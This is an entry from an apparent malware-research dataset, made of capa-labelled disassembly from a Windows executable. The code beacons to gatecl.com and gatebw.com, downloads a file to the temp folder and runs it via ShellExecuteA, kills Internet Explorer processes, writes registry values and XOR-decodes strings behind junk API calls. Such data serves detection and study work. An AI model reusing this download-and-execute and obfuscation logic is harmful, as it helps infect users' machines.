joyce8/EMBER2024-capa huggingface dataset:
Function at 0x401750
Capabilities:
Get file attributes
Hide graphical window

Disassembly:
sub esp, 0x20c
push ebx
push ebp
mov ebp, dword [esp + 0x218]
push edi
call dword [sym.imp.KERNEL32.DLL_GetTickCount]
push eax
call fcn.004032f4
call fcn.004032fe
cdq
mov ecx, 0xa
idiv ecx
mov bl, dl
call fcn.004032fe
cdq
mov ecx, 0xa
idiv ecx
push 0xff78
mov byte [esp + 0x17], dl
call fcn.004012c0
mov edx, dword [ebp + 0x10]
add esp, 8
test edx, edx
jne 0x4017c5
movsx edx, byte [esp + 0xf]
push edx
push eax
movsx eax, bl
push eax
push 1
lea ecx, [esp + 0x124]
push str.http:__gatecl.com_gatevc.php_pnsrch0p_dtotal7s2c_1.1d_d_1.1d
push ecx
call dword [sym.imp.USER32.dll_wsprintfA]
add esp, 0x18
jmp 0x401816
mov eax, dword [str.http:__gate]
mov ecx, dword [0x4056f8]
mov dword [esp + 0x10], eax
mov eax, dword [0x4056fc]
lea edi, [esp + 0x10]
mov dword [esp + 0x14], ecx
mov dword [esp + 0x18], eax
dec edi
mov al, byte [edi + 1]
inc edi
test al, al
jne 0x4017e6
push esi
mov ecx, 9
mov esi, str.cl.com_gatevc.php_pnsrch0p_dtotal7s2
rep movsd dword es:[edi], dword [esi]
inc edx
push edx
lea ecx, [esp + 0x18]
push ecx
lea edx, [esp + 0x120]
push edx
movsw word es:[edi], word [esi]
call dword [sym.imp.USER32.dll_wsprintfA]
add esp, 0xc
pop esi
lea eax, [esp + 0x114]
push 0
push eax
call section..text
add esp, 8
push 0
push 0
call dword [sym.imp.USER32.dll_BeginPaint]
push 0
push 0
call dword [sym.imp.USER32.dll_ShowWindow]
push 0
call dword [sym.imp.KERNEL32.DLL_GetFileAttributesA]
push 0
call dword [sym.imp.KERNEL32.DLL_FreeLibrary]
mov edi, dword [ebp + 0x10]
mov ecx, dword [ebp + 0x14]
inc edi
mov eax, edi
push eax
push ecx
mov dword [ebp + 0x10], edi
call fcn.004013c0
add esp, 8
pop edi
pop ebp
pop ebx
add esp, 0x20c
ret
Function at 0x401870
Capabilities:
Get file attributes
Hide graphical window

Disassembly:
sub esp, 0x208
call fcn.0040335d
test al, al
je 0x4019a8
push ebx
mov ebx, dword [sym.imp.USER32.dll_BeginPaint]
push ebp
push 0
push 0
call ebx
mov ebp, dword [sym.imp.USER32.dll_ShowWindow]
push 0
push 0
call ebp
push 0
call dword [sym.imp.KERNEL32.DLL_GetFileAttributesA]
push 0
call dword [sym.imp.KERNEL32.DLL_FreeLibrary]
mov eax, dword [esi + 0x10]
mov ecx, dword [esi + 0xc]
lea eax, [eax + eax*2]
mov edx, dword [ecx + eax*4]
lea eax, [ecx + eax*4]
mov eax, dword [eax + 4]
push 0x11
push edx
push eax
push 0
call dword [sym.imp.USER32.dll_MessageBoxA]
cmp eax, 2
je 0x4019a6
mov ecx, dword [str.www.gatebw.com_gat]
mov edx, dword [0x4056bc]
mov eax, dword [0x4056c0]
push edi
mov dword [esp + 0xc], ecx
mov ecx, dword [0x4056c4]
mov dword [esp + 0x10], edx
mov dx, word [0x4056c8]
mov dword [esp + 0x14], eax
mov al, byte [0x4056ca]
lea edi, [esp + 0xc]
mov dword [esp + 0x18], ecx
mov word [esp + 0x1c], dx
mov byte [esp + 0x1e], al
dec edi
mov al, byte [edi + 1]
inc edi
test al, al
jne 0x401916
mov ecx, dword [str.evc.php_iddw0_d]
mov edx, dword [0x4056a8]
mov eax, dword [0x4056ac]
mov dword [edi], ecx
mov ecx, dword [0x4056b0]
mov dword [edi + 4], edx
mov dl, byte [0x4056b4]
mov dword [edi + 8], eax
mov eax, dword [esi + 0x10]
mov dword [edi + 0xc], ecx
inc eax
push eax
lea ecx, [esp + 0x10]
mov byte [edi + 0x10], dl
push ecx
lea edx, [esp + 0x118]
push edx
call dword [sym.imp.USER32.dll_wsprintfA]
lea eax, [esp + 0x11c]
push 1
push eax
call section..text
add esp, 0x14
push 0
push 0
call ebx
push 0
push 0
call ebp
push 0
call dword [sym.imp.KERNEL32.DLL_GetFileAttributesA]
push 0
call dword [sym.imp.KERNEL32.DLL_FreeLibrary]
mov ebx, dword [esi + 0x10]
mov ecx, dword [esi + 0x14]
inc ebx
mov eax, ebx
push eax
push ecx
mov dword [esi + 0x10], ebx
call fcn.004013c0
add esp, 8
pop edi
pop ebp
pop ebx
add esp, 0x208
ret
Function at 0x4019b0
Capabilities:
Get file attributes
Hide graphical window

Disassembly:
push ebx
push ebp
push esi
push edi
mov edi, dword [sym.imp.USER32.dll_BeginPaint]
mov esi, eax
mov eax, dword [esi + 0x10]
push 0
push 0
mov dword [0x409638], eax
call edi
mov ebp, dword [sym.imp.USER32.dll_ShowWindow]
push 0
push 0
call ebp
mov ebx, dword [sym.imp.KERNEL32.DLL_GetFileAttributesA]
push 0
call ebx
push 0
call dword [sym.imp.KERNEL32.DLL_FreeLibrary]
push 0x1f4
call dword [sym.imp.KERNEL32.DLL_Sleep]
mov eax, dword [0x40963c]
test eax, eax
je 0x401ac5
mov al, byte [0x40964a]
test al, al
je 0x401a4d
mov ecx, dword [0x409634]
push 3
push ecx
call fcn.00401530
add esp, 8
push 0
push 0
call edi
push 0
push 0
call ebp
push 0
call ebx
push 0
call dword [sym.imp.KERNEL32.DLL_FreeLibrary]
mov eax, dword [esi + 0x10]
mov edx, dword [esi + 0x14]
inc eax
push eax
push edx
mov dword [esi + 0x10], eax
call fcn.004013c0
add esp, 8
mov byte [0x40964a], 0
mov esi, dword [sym.imp.KERNEL32.DLL_FreeLibrary]
mov eax, dword [0x40963c]
test eax, eax
je 0x401a66
sub eax, 0x1f4
mov dword [0x40963c], eax
mov ecx, dword [0x409640]
test ecx, ecx
je 0x401a7c
sub ecx, 0x1f4
mov dword [0x409640], ecx
test eax, eax
jge 0x401a8a
mov dword [0x40963c], 0
push 0
push 0
call edi
push 0
push 0
call ebp
push 0
call ebx
push 0
call esi
mov eax, dword [0x409640]
test eax, eax
pop edi
pop esi
pop ebp
pop ebx
jge 0x401ab5
mov dword [0x409640], 0
mov al, byte [0x4070d4]
test al, al
sete al
mov byte [0x4070d4], al
ret
push 0
push 0
call edi
push 0
push 0
call ebp
push 0
call ebx
mov esi, dword [sym.imp.KERNEL32.DLL_FreeLibrary]
push 0
call esi
mov eax, dword [0x409640]
test eax, eax
je 0x401af1
mov byte [0x4070d5], 0
jmp 0x401b25
mov al, byte [0x4070d5]
test al, al
jne 0x401b25
push 0
push 0
call edi
push 0
push 0
call ebp
push 0
call ebx
push 0
call esi
mov eax, dword [0x409634]
push 2
push eax
call fcn.00401530
add esp, 8
mov byte [0x4070d5], 1
mov al, byte [0x40964a]
test al, al
jne 0x401b38
call fcn.0040335d
mov byte [0x409649], al
push 0
push 0
call edi
push 0
push 0
call ebp
push 0
call ebx
push 0
call esi
mov al, byte [0x409649]
test al, al
je 0x401a53
mov al, byte [0x40964a]
mov dl, byte [0x4070d4]
xor ecx, ecx
test al, al
mov eax, dword [0x409634]
setne cl
neg dl
push ecx
sbb edx, edx
and edx, eax
push edx
call fcn.00401530
add esp, 8
push 0
push 0
mov byte [0x40964a], 1
call edi
push 0
push 0
call ebp
push 0
call ebx
push 0
call esi
jmp 0x401a53
Function at 0x401d00
Capabilities:
Get file attributes
Hide graphical window

Disassembly:
sub esp, 0x28
xor eax, eax
mov dword [esp], eax
mov dword [esp + 4], eax
mov dword [esp + 8], eax
mov dword [esp + 0xc], eax
mov dword [esp + 0x10], eax
mov dword [esp + 0x14], eax
push ebx
mov dword [esp + 0x1c], eax
push ebp
push edi
mov edi, dword [sym.imp.USER32.dll_BeginPaint]
mov dword [esp + 0x28], eax
mov dword [esp + 0x2c], eax
push eax
push eax
mov dword [esp + 0x38], eax
mov dword [esp + 0x18], 0x403050
mov dword [esp + 0x24], esi
call edi
mov ebx, dword [sym.imp.USER32.dll_ShowWindow]
push 0
push 0
call ebx
mov ebp, dword [sym.imp.KERNEL32.DLL_GetFileAttributesA]
push 0
call ebp
push 0
call dword [sym.imp.KERNEL32.DLL_FreeLibrary]
lea ecx, [esp + 0xc]
push ecx
mov dword [esp + 0x34], str.SomeClassEx
call dword [sym.imp.USER32.dll_RegisterClassA]
push 0
push esi
push 0
push 0
push SysReAllocString
push SysReAllocString
push SysReAllocString
push SysReAllocString
push 0xcf0000
push 0x405694
push 0x40567c
push 0
call dword [sym.imp.USER32.dll_CreateWindowExW]
push 0
push 0
mov dword [0x409644], eax
call edi
push 0
push 0
call ebx
push 0
call ebp
push 0
call dword [sym.imp.KERNEL32.DLL_FreeLibrary]
pop edi
pop ebp
pop ebx
add esp, 0x28
ret

Function at 0x401dd0
Capabilities:
Get file attributes
Hide graphical window

Disassembly:
push ebx
mov ebx, dword [sym.imp.USER32.dll_BeginPaint]
push ebp
push esi
push edi
push 0
push 0
call ebx
mov ebp, dword [sym.imp.USER32.dll_ShowWindow]
push 0
push 0
call ebp
mov esi, dword [sym.imp.KERNEL32.DLL_GetFileAttributesA]
push 0
call esi
push 0
call dword [sym.imp.KERNEL32.DLL_FreeLibrary]
push 0xcf
push 0
call dword [sym.imp.KERNEL32.DLL_GetModuleHandleA]
push eax
call dword [sym.imp.USER32.dll_LoadIconA]
mov dword [0x409634], eax
xor eax, eax
push eax
mov ecx, 0x300
mov edi, 0x407e28
push eax
rep stosd dword es:[edi], eax
call ebx
push 0
push 0
call ebp
push 0
call esi
push 0
call dword [sym.imp.KERNEL32.DLL_FreeLibrary]
xor eax, eax
push eax
mov ecx, 0x300
mov edi, 0x407220
push eax
rep stosd dword es:[edi], eax
call ebx
push 0
push 0
call ebp
push 0
call esi
push 0
call dword [sym.imp.KERNEL32.DLL_FreeLibrary]
mov ecx, 0x300
xor eax, eax
mov edi, 0x408a28
rep stosd dword es:[edi], eax
mov esi, 0x4070b8
push 0
push 0
call ebx
push 0
push 0
call ebp
push 0
call dword [sym.imp.KERNEL32.DLL_GetFileAttributesA]
push 0
call dword [sym.imp.KERNEL32.DLL_FreeLibrary]
lea eax, [esi - 0x20]
push eax
push 0x401ba0
call fcn.004034d7
mov dword [esi], eax
sub esi, 0x24
add esp, 8
cmp esi, 0x407070
jge 0x401e72
pop edi
pop esi
pop ebp
pop ebx
ret
Function at 0x401ff0
Capabilities:
Query or enumerate registry value

Disassembly:
sub esp, 8
push ebx
lea eax, [esp + 4]
push eax
push str.SoftwareMicrosoftWindowsCurrentVersionInternet_Settings
push SysReAllocString
xor bl, bl
call dword [sym.imp.ADVAPI32.dll_RegOpenKeyA]
test eax, eax
jne 0x402044
mov edx, dword [esp + 0x10]
lea ecx, [esp + 8]
push ecx
push edx
push eax
push eax
mov eax, dword [esp + 0x14]
push str.User_Agent
push eax
mov dword [esp + 0x20], 0x104
call dword [sym.imp.ADVAPI32.dll_RegQueryValueExA]
test eax, eax
jne 0x402039
mov bl, 1
mov ecx, dword [esp + 4]
push ecx
call dword [sym.imp.ADVAPI32.dll_RegCloseKey]
mov al, bl
pop ebx
add esp, 8
ret

Function at 0x402050
Capabilities:
Query or enumerate registry key

Disassembly:
sub esp, 0x10c
push ebx
mov ebx, dword [esp + 0x114]
push edi
mov edi, dword [esp + 0x11c]
lea eax, [esp + 8]
push eax
push 0x2001f
push 0
push edi
push ebx
call dword [sym.imp.ADVAPI32.dll_RegOpenKeyExA]
test eax, eax
je 0x40208c
pop edi
mov eax, 0x3f3
pop ebx
add esp, 0x10c
ret
push esi
mov esi, dword [sym.imp.ADVAPI32.dll_RegEnumKeyA]
mov edx, dword [esp + 0xc]
push 0x105
lea ecx, [esp + 0x14]
push ecx
push 0
push edx
call esi
test eax, eax
jne 0x4020c0
mov ecx, dword [esp + 0xc]
lea eax, [esp + 0x10]
push eax
push ecx
call fcn.00402050
add esp, 8
test eax, eax
je 0x402093
mov edx, dword [esp + 0xc]
push edx
call dword [sym.imp.ADVAPI32.dll_RegCloseKey]
push edi
push ebx
call dword [sym.imp.ADVAPI32.dll_RegDeleteKeyA]
pop esi
pop edi
pop ebx
add esp, 0x10c
ret
Function at 0x402a50
Capabilities:
Check if file exists
Get common file path
Get file attributes

Disassembly:
sub esp, 0x104
push ebx
push ebp
push esi
lea eax, [esp + 0xc]
push eax
push 0x104
call dword [sym.imp.KERNEL32.DLL_GetTempPathA]
mov ebx, dword [sym.imp.USER32.dll_wsprintfA]
mov ebp, dword [sym.imp.KERNEL32.DLL_GetFileAttributesA]
xor esi, esi
push esi
lea ecx, [esp + 0x10]
push ecx
push str._skmq_d.exe
push edi
call ebx
add esp, 0x10
push edi
inc esi
call ebp
cmp eax, 0xffffffff
jne 0x402a77
pop esi
pop ebp
pop ebx
add esp, 0x104
ret

Function at 0x402aa0
Capabilities:
Check http status code
Delete file
Write file on windows

Disassembly:
push ebp
mov ebp, esp
and esp, 0xfffffff8
sub esp, 0x58c
mov eax, dword [ebp + 0x10]
push ebx
push esi
push edi
push 0
push 0
push 2
push 0
push 0
push 0xc0000000
push eax
mov byte [esp + 0x2b], 0
call dword [sym.imp.KERNEL32.DLL_CreateFileA]
mov ebx, eax
cmp ebx, 0xffffffff
je 0x402c68
lea ecx, [esp + 0x90]
push ecx
call fcn.00401ff0
add esp, 4
push 0
push 0
push 0
push 0
lea edx, [esp + 0xa0]
push edx
call dword [0x407214]
mov esi, eax
test esi, esi
mov dword [esp + 0x20], esi
je 0x402c2a
mov eax, dword [ebp + 8]
push 1
push 0
push 3
push 0
push 0
push 0x50
push eax
push esi
call dword [0x409628]
mov edi, eax
test edi, edi
mov dword [esp + 0x14], edi
je 0x402c23
mov ecx, dword [ebp + 0xc]
push 1
push 0x80000100
push 0
push 0
push 0
push ecx
push 0x405338
push edi
call dword [0x407218]
mov esi, eax
test esi, esi
je 0x402c18
push 0
push 0
push 0
push 0
push esi
call dword [0x407210]
test eax, eax
je 0x402c4c
push 0
lea edx, [esp + 0x20]
push edx
lea eax, [esp + 0x20]
push eax
push 0x20000013
push esi
mov dword [esp + 0x30], 4
call dword [sym.imp.WININET.dll_HttpQueryInfoA]
cmp dword [esp + 0x18], 0xc8
jne 0x402c11
xor eax, eax
mov byte [esp + 0x198], 0
mov ecx, 0xff
lea edi, [esp + 0x199]
rep stosd dword es:[edi], eax
stosw word es:[edi], ax
stosb byte es:[edi], al
xor edi, edi
lea ecx, [esp + 0x10]
push ecx
push 0x400
lea edx, [esp + 0x1a0]
push edx
push esi
mov dword [esp + 0x20], 0
call dword [0x40962c]
test eax, eax
je 0x402c0d
mov ecx, dword [esp + 0x10]
push 0
lea eax, [esp + 0x28]
push eax
push ecx
lea edx, [esp + 0x1a4]
push edx
push ebx
call dword [sym.imp.KERNEL32.DLL_WriteFile]
test eax, eax
je 0x402c0d
mov eax, dword [esp + 0x10]
add edi, eax
test eax, eax
jne 0x402bb6
test edi, edi
je 0x402c0d
mov byte [esp + 0xf], 1
mov edi, dword [esp + 0x14]
push esi
call dword [0x407e20]
push edi
call dword [0x407e20]
mov esi, dword [esp + 0x20]
push esi
call dword [0x407e20]
push ebx
call dword [sym.imp.KERNEL32.DLL_CloseHandle]
mov bl, byte [esp + 0xf]
test bl, bl
jne 0x402c76
mov ecx, dword [ebp + 0x10]
push ecx
call dword [sym.imp.KERNEL32.DLL_DeleteFileA]
mov al, bl
pop edi
pop esi
pop ebx
mov esp, ebp
pop ebp
ret
call dword [sym.imp.KERNEL32.DLL_GetLastError]
push eax
lea eax, [esp + 0x2c]
push 0x405780
push eax
call dword [sym.imp.USER32.dll_wsprintfA]
add esp, 0xc
jmp 0x402c11
mov ecx, dword [ebp + 0x10]
mov bl, byte [esp + 0xf]
push ecx
call dword [sym.imp.KERNEL32.DLL_DeleteFileA]
pop edi
pop esi
mov al, bl
pop ebx
mov esp, ebp
pop ebp
ret
Function at 0x40335d
Capabilities:
Check internet connectivity via wininet
Get file attributes

Disassembly:
push ecx
push ebx
push ebp
push esi
push edi
mov edi, dword [sym.imp.USER32.dll_BeginPaint]
xor esi, esi
push esi
push esi
mov dword [esp + 0x18], esi
call edi
mov ebx, dword [sym.imp.USER32.dll_ShowWindow]
push esi
push esi
call ebx
mov ebp, dword [sym.imp.KERNEL32.DLL_GetFileAttributesA]
push esi
call ebp
push esi
call dword [sym.imp.KERNEL32.DLL_FreeLibrary]
push esi
lea eax, [esp + 0x14]
push eax
call dword [sym.imp.WININET.dll_InternetGetConnectedState]
test eax, eax
je 0x4033b9
push esi
push esi
call edi
push esi
push esi
call ebx
push esi
call ebp
push esi
call dword [sym.imp.KERNEL32.DLL_FreeLibrary]
test byte [esp + 0x10], 0x20
jne 0x4033b9
mov al, 1
jmp 0x4033bb
xor al, al
pop edi
pop esi
pop ebp
pop ebx
pop ecx
ret

Function at 0x4033c1
Capabilities:
Get file attributes
Terminate process

Disassembly:
sub esp, 0x108
push ebx
push ebp
push esi
push edi
lea eax, [esp + 0x14]
push str.iexp
push eax
call fcn.00404010
lea eax, [esp + 0x1c]
push 0x405188
push eax
call fcn.00404020
lea eax, [esp + 0x24]
push eax
call fcn.00403afa
mov edi, dword [sym.imp.USER32.dll_BeginPaint]
add esp, 0x14
xor esi, esi
push esi
push esi
mov dword [esp + 0x18], eax
call edi
mov ebx, dword [sym.imp.USER32.dll_ShowWindow]
push esi
push esi
call ebx
mov ebp, dword [sym.imp.KERNEL32.DLL_GetFileAttributesA]
jmp 0x403464
push esi
push dword [esp + 0x14]
push esi
push 1
call dword [sym.imp.KERNEL32.DLL_OpenProcess]
push eax
call dword [sym.imp.KERNEL32.DLL_TerminateProcess]
lea eax, [esp + 0x14]
push str.iexp
push eax
call fcn.00404010
lea eax, [esp + 0x1c]
push 0x405188
push eax
call fcn.00404020
lea eax, [esp + 0x24]
push eax
call fcn.00403afa
add esp, 0x14
push esi
push esi
mov dword [esp + 0x18], eax
call edi
push esi
push esi
call ebx
push esi
call ebp
push esi
call dword [sym.imp.KERNEL32.DLL_FreeLibrary]
push esi
push esi
call edi
push esi
push esi
call ebx
push esi
call ebp
push esi
call dword [sym.imp.KERNEL32.DLL_FreeLibrary]
cmp dword [esp + 0x10], esi
jne 0x403418
pop edi
pop esi
pop ebp
pop ebx
add esp, 0x108
ret

Function at 0x4034d7
Capabilities:
Create thread

Disassembly:
push ebp
mov ebp, esp
push ecx
lea eax, [ebp - 4]
push eax
xor eax, eax
push eax
push dword [ebp + 0xc]
push dword [ebp + 8]
push eax
push eax
call dword [sym.imp.KERNEL32.DLL_CreateThread]
leave
ret
Function at 0x40372c
Capabilities:
Encode data using xor
Get file attributes

Disassembly:
push ebx
push ebp
push esi
push edi
mov edi, dword [sym.imp.USER32.dll_BeginPaint]
xor ebx, ebx
push ebx
push ebx
call edi
mov ebp, dword [sym.imp.USER32.dll_ShowWindow]
push ebx
push ebx
call ebp
push ebx
call dword [sym.imp.KERNEL32.DLL_GetFileAttributesA]
push ebx
call dword [sym.imp.KERNEL32.DLL_FreeLibrary]
mov eax, dword [esp + 0x14]
add byte [esp + 0x18], 0x64
cmp byte [eax], bl
mov esi, 0x4070e0
je 0x4037b1
mov dword [esp + 0x14], eax
sub dword [esp + 0x14], esi
push ebx
push ebx
call edi
push ebx
push ebx
call ebp
push ebx
call dword [sym.imp.KERNEL32.DLL_GetFileAttributesA]
push ebx
call dword [sym.imp.KERNEL32.DLL_FreeLibrary]
mov eax, dword [esp + 0x14]
mov al, byte [eax + esi]
xor al, byte [esp + 0x18]
push ebx
mov byte [esi], al
push ebx
inc esi
call edi
push ebx
push ebx
call ebp
push ebx
call dword [sym.imp.KERNEL32.DLL_GetFileAttributesA]
push ebx
call dword [sym.imp.KERNEL32.DLL_FreeLibrary]
mov eax, dword [esp + 0x14]
cmp byte [eax + esi], bl
jne 0x40376e
push ebx
push ebx
call edi
push ebx
push ebx
call ebp
push ebx
call dword [sym.imp.KERNEL32.DLL_GetFileAttributesA]
push ebx
call dword [sym.imp.KERNEL32.DLL_FreeLibrary]
pop edi
mov byte [esi], bl
pop esi
pop ebp
mov eax, 0x4070e0
pop ebx
ret
Function at 0x4037d3
Capabilities:
Extract resource via kernel32 functions
Get common file path
Write file on windows

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x608
push ebx
push esi
push edi
mov esi, dword [ebp + 8]
xor ebx, ebx
xor eax, eax
push 0x7f
mov byte [ebp - 0x208], bl
pop ecx
lea edi, [ebp - 0x207]
rep stosd dword es:[edi], eax
stosw word es:[edi], ax
stosb byte es:[edi], al
xor eax, eax
cmp byte [esi + 1], 0x3a
mov byte [ebp - 0x608], bl
mov ecx, 0xff
lea edi, [ebp - 0x607]
rep stosd dword es:[edi], eax
stosw word es:[edi], ax
mov byte [ebp - 1], bl
stosb byte es:[edi], al
mov dword [ebp - 8], ebx
je 0x40384f
lea eax, [ebp - 0x208]
push eax
push ebx
push ebx
push 0x25
push ebx
call dword [sym.imp.SHELL32.dll_SHGetFolderPathA]
push esi
lea eax, [ebp - 0x208]
push eax
lea eax, [ebp - 0x608]
push str._s_s
push eax
call dword [sym.imp.USER32.dll_wsprintfA]
add esp, 0x10
jmp 0x40385d
push esi
lea eax, [ebp - 0x608]
push eax
call dword [sym.imp.KERNEL32.DLL_lstrcpyA]
push dword [ebp + 0x10]
push dword [ebp + 0xc]
push ebx
call dword [sym.imp.KERNEL32.DLL_FindResourceA]
mov esi, eax
cmp esi, ebx
je 0x4038da
push esi
push ebx
call dword [sym.imp.KERNEL32.DLL_LoadResource]
cmp eax, ebx
mov dword [ebp + 8], eax
je 0x4038da
push str.SizeofResource
push str.kernel32.dll
call dword [sym.imp.KERNEL32.DLL_GetModuleHandleA]
push eax
call dword [sym.imp.KERNEL32.DLL_GetProcAddress]
push esi
push ebx
call eax
mov edi, eax
cmp edi, ebx
je 0x4038da
push ebx
push ebx
push 2
push ebx
push ebx
push 0x40000000
lea eax, [ebp - 0x608]
push eax
call dword [sym.imp.KERNEL32.DLL_CreateFileA]
mov esi, eax
cmp esi, 0xffffffff
je 0x4038da
push ebx
lea eax, [ebp - 8]
push eax
push edi
push dword [ebp + 8]
push esi
call dword [sym.imp.KERNEL32.DLL_WriteFile]
push esi
call dword [sym.imp.KERNEL32.DLL_CloseHandle]
mov byte [ebp - 1], 1
cmp dword [ebp + 0x14], ebx
pop edi
pop esi
pop ebx
je 0x4038f2
lea eax, [ebp - 0x608]
push eax
call fcn.0040368c
pop ecx
mov byte [ebp - 1], al
mov al, byte [ebp - 1]
leave
ret
Function at 0x4038f7
Capabilities:
Check if file exists
Get common file path
Get file attributes
Write file on windows

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x51c
push esi
push edi
lea eax, [ebp - 0x51c]
push eax
mov esi, 0x104
push esi
call dword [sym.imp.KERNEL32.DLL_GetTempPathA]
push dword [0x40701c]
lea eax, [ebp - 0x51c]
push eax
call fcn.00404020
pop ecx
pop ecx
push esi
lea eax, [ebp - 0x210]
push eax
xor esi, esi
push esi
call dword [sym.imp.KERNEL32.DLL_GetModuleFileNameA]
lea eax, [ebp - 0x210]
push eax
lea eax, [ebp - 0x418]
push eax
call fcn.00404010
lea eax, [ebp - 0x418]
push 0x5c
push eax
call fcn.00403330
add esp, 0x10
cmp eax, esi
je 0x403965
mov byte [eax], 0
xor edi, edi
push edi
lea eax, [ebp - 0x51c]
push eax
lea eax, [ebp - 0x10c]
push eax
call dword [sym.imp.USER32.dll_wsprintfA]
add esp, 0xc
lea eax, [ebp - 0x10c]
push eax
inc edi
call dword [sym.imp.KERNEL32.DLL_GetFileAttributesA]
cmp eax, 0xffffffff
jne 0x403967
push esi
push 0x80
push 2
push esi
push esi
push 0x40000000
lea eax, [ebp - 0x10c]
push eax
call dword [sym.imp.KERNEL32.DLL_CreateFileA]
cmp eax, 0xffffffff
mov dword [ebp - 4], eax
je 0x403ad0
lea eax, [ebp - 0x210]
push ebx
push eax
call fcn.00404170
push dword [0x407018]
mov esi, eax
call fcn.00404170
lea esi, [eax + esi*2 + 0x14]
lea eax, [ebp - 0x10c]
push eax
call fcn.00404170
add esi, eax
lea eax, [ebp - 0x418]
push eax
call fcn.00404170
mov edi, dword [sym.imp.KERNEL32.DLL_GetProcessHeap]
add esp, 0x10
add esi, eax
push esi
push 8
call edi
push eax
call dword [sym.imp.KERNEL32.DLL_HeapAlloc]
push esi
mov ebx, eax
push 0
push ebx
call fcn.00404110
lea eax, [ebp - 0x10c]
push eax
lea eax, [ebp - 0x418]
push eax
lea eax, [ebp - 0x210]
push eax
push eax
push dword [0x407018]
push ebx
call dword [sym.imp.USER32.dll_wsprintfA]
add esp, 0x24
push ebx
push ebx
call dword [sym.imp.USER32.dll_CharToOemA]
push 0
lea eax, [ebp - 8]
push eax
push ebx
call fcn.00404170
pop ecx
push eax
push ebx
push dword [ebp - 4]
call dword [sym.imp.KERNEL32.DLL_WriteFile]
push dword [ebp - 4]
call dword [sym.imp.KERNEL32.DLL_CloseHandle]
push 0x405280
lea eax, [ebp - 0x314]
push eax
call dword [sym.imp.KERNEL32.DLL_lstrcpyA]
mov esi, dword [sym.imp.KERNEL32.DLL_lstrcatA]
push 0x40527c
lea eax, [ebp - 0x314]
push eax
call esi
push 0x405278
lea eax, [ebp - 0x314]
push eax
call esi
push str.ShellExecuteA
push str.shell32.dll
call dword [sym.imp.KERNEL32.DLL_GetModuleHandleA]
push eax
call dword [sym.imp.KERNEL32.DLL_GetProcAddress]
xor esi, esi
push esi
push esi
push esi
lea ecx, [ebp - 0x10c]
push ecx
lea ecx, [ebp - 0x314]
push ecx
push esi
call eax
push ebx
push esi
call edi
push eax
call dword [sym.imp.KERNEL32.DLL_HeapFree]
pop ebx
pop edi
pop esi
leave
ret
Function at 0x403c12
Capabilities:
Query or enumerate registry value
Set registry value

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x10c
push esi
xor esi, esi
push esi
lea eax, [ebp - 4]
push eax
push esi
push 0xf003f
push esi
push esi
push esi
push dword [ebp + 0xc]
mov dword [ebp - 4], esi
push dword [ebp + 8]
call dword [sym.imp.ADVAPI32.dll_RegCreateKeyExA]
test eax, eax
jne 0x403caf
mov eax, 0x104
push eax
mov dword [ebp - 8], eax
lea eax, [ebp - 0x10c]
push esi
push eax
call fcn.00404110
add esp, 0xc
lea eax, [ebp - 8]
push eax
lea eax, [ebp - 0x10c]
push eax
push esi
push esi
push dword [ebp + 0x10]
push dword [ebp - 4]
call dword [sym.imp.ADVAPI32.dll_RegQueryValueExA]
test eax, eax
jne 0x403c89
push dword [ebp + 0x14]
lea eax, [ebp - 0x10c]
push eax
call dword [sym.imp.KERNEL32.DLL_lstrcmpA]
test eax, eax
je 0x403ca6
push dword [ebp + 0x14]
call dword [sym.imp.KERNEL32.DLL_lstrlenA]
inc eax
push eax
push dword [ebp + 0x14]
push 1
push esi
push dword [ebp + 0x10]
push dword [ebp - 4]
call dword [sym.imp.ADVAPI32.dll_RegSetValueExA]
push dword [ebp - 4]
call dword [sym.imp.ADVAPI32.dll_RegCloseKey]
pop esi
leave
ret

Function at 0x403d52
Capabilities:
Create thread

Disassembly:
push ebp
mov ebp, esp
mov eax, dword [ebp + 0xc]
push ebx
push esi
mov esi, ecx
mov ecx, dword [ebp + 8]
xor ebx, ebx
cmp eax, ebx
mov dword [esi + 4], eax
mov dword [esi + 8], ecx
mov dword [ebp + 0xc], ebx
jle 0x403dde
push edi
xor edi, edi
mov eax, dword [esi + 8]
add eax, edi
mov ecx, dword [eax + 8]
cmp ecx, ebx
je 0x403d81
call ecx
jmp 0x403d94
push dword [eax + 0x10]
push dword [eax + 0xc]
push dword [eax + 4]
push dword [eax]
call fcn.00403c12
add esp, 0x10
push ebx
call fcn.00403491
mov ecx, dword [esi + 8]
push ebx
mov dword [ecx + edi + 0x14], eax
call fcn.00403491
pop ecx
pop ecx
mov ecx, dword [esi + 8]
mov dword [ecx + edi + 0x18], eax
lea eax, [ebp + 8]
push eax
mov eax, dword [esi + 8]
push ebx
add eax, edi
push eax
push 0x403cb2
push ebx
push ebx
call dword [sym.imp.KERNEL32.DLL_CreateThread]
mov ecx, dword [esi + 8]
inc dword [ebp + 0xc]
mov dword [ecx + edi + 0x1c], eax
mov eax, dword [ebp + 0xc]
add edi, 0x20
cmp eax, dword [esi + 4]
jl 0x403d71
pop edi
mov eax, esi
pop esi
pop ebx
pop ebp
ret 8